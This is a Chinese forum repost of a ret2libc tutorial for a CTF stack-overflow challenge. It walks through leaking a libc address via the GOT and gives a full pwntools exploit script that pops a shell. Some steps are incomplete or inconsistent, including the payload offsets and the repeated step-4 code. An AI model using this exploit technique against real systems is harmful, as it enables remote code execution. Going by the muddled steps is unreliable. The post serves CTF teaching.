安全矩阵

 找回密码
 立即注册
搜索
查看: 3910|回复: 0

二进制学习系列-栈溢出之libc利用

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2020-3-24 19:14:21 | 显示全部楼层 |阅读模式
原文转自: 安恒讲武堂

https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/stackoverflow/ret2libc/ret2libc3
首先查看安全保护

可以看见主程序没有开启ASLR
但是libc文件开启了ASLR,扔进IDA中查看伪代码
  1.     int __cdecl main(int argc, const char **argv, const char **envp)
  2.     {
  3.     char s; // [esp+1Ch] [ebp-64h]

  4.     setvbuf(stdout, 0, 2, 0);
  5.     setvbuf(stdin, 0, 1, 0);
  6.     puts("No surprise anymore, system disappeard QQ.");
  7.     printf("Can you find it !?");
  8.     gets(&s);
  9.     return 0;
  10.     }
复制代码

明显看出是一个栈溢出,在查看汇编代码


可以看到字符串s是相对于esp的偏移,所以我们还需要自己去测出s距离溢出点的位移,整个反汇编中没有找到system系统函数,也没有发现‘/bin/sh'的字符串,所以应该都在libc.so文件之中,但是libc开启了ASLR保护,所以我们所看见的都是相对于基址的偏移量,我们需要通过泄漏libc文件中的函数来确定system函数以及bin字符串的地址。
即使程序开启了ASLR,最低的12位并不会发生改变,所以我们只要知道了libc中某一个函数的地址,我们就能知道该程序所利用的libc版本,进而我们就知道了该libc中system函数的地址。
那么问题是我们怎样才能知道libc中函数的地址:
我们可以通过got表泄漏,就是输出某个函数对应got表項的内容。因为libc具有延时机制的绑定,所以我们需要选择已经执行过了的函数来进行泄漏。
我们一般泄漏__libc_start_main的地址,这个地址就是libc文件的基址
所以大致的步骤就是:
1.泄漏__libc_start_main的地址
2.获取libc版本
3.再次执行main函数
4.获取system以及bin的地址
5.栈溢出获取shell
1.泄漏__libc_start_main的地址




输入地址




返回值地址,所以可得偏移量为0x70。
所以我们可以利用puts函数来打印出libc_start的地址,在去寻找相对应的libc,从而getshell。首先查看一下puts函数的地址:
所以这样写playload:
  1. playload = 'A'*112 + p32(put_plt) + p32(main_addr) + p32(libc_addr)
复制代码

由于我们调用put函数的时候需要一个返回地址,所以我们这里返回main函数的地址,可以打印出libc函数地址之后再次重新执行main函数。
2.获取libc版本
这里我们有两种方法来获取libc版本:
3.获取system函数以及/bin/sh地址:
用所计算得到的libc基地址:
  1. __libc_start_main - libc.symbols['__libc_start_main']
复制代码

加上所获取到的system地址:
  1. libc_database + libc.symbols['system']
复制代码
/bin/sh地址也一样:
  1. libc_database + next(libc.search('/bin/sh'))
复制代码


4.重新执行main调用system函数
  1. libc_database + next(libc.search('/bin/sh'))
复制代码

5.EXP:
  1. from pwn import *

  2. libc = ELF('libc.so.sys')
  3. ret = ELF('ret2libc3')

  4. p = process('./ret2libc3')
  5. gdb.attach(p)
  6. put_plt = ret.symbols['puts']
  7. main_addr = ret.symbols['main']
  8. libc_addr = ret.got['__libc_start_main']

  9. playload = 'A'*112 + p32(put_plt) + p32(main_addr) + p32(libc_addr)
  10. p.sendlineafter('Can you find it !?',playload)
  11. libc_real = u32(p.recv(4))
  12. print hex(libc_real)

  13. sys_addr = libc_real - (libc.symbols['__libc_start_main'] - libc.symbols['system'] )
  14. bin_addr = libc_real - (libc.symbols['__libc_start_main'] - next(libc.search('/bin/sh') ) )
  15. print hex(sys_addr) + '\n' + hex(bin_addr)
  16. playload2 = 'A'*104 + p32(sys_addr) + 'BBBB' + p32(bin_addr)
  17. p.sendline(playload2)
  18. p.interactive()

复制代码









回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-29 21:22 , Processed in 0.015088 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表